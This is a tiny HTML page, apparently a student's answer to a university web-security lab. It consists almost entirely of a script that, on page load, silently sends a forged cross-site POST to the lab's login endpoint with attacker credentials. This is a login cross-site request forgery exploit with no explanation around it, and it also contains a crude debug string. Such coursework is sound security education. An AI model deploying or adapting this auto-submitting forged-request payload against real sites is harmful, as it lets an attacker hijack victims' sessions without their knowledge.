Untitled

<head></head>
<body>
	<script>
		console.log('tits');
	var xhr = new XMLHttpRequest();
	xhr.open("POST", 'http://cis331.cis.upenn.edu/project3/login?csrfdefense=0&xssdefense=4', true);
	xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
	xhr.send("username=attacker&password=123456");

	</script>
</body>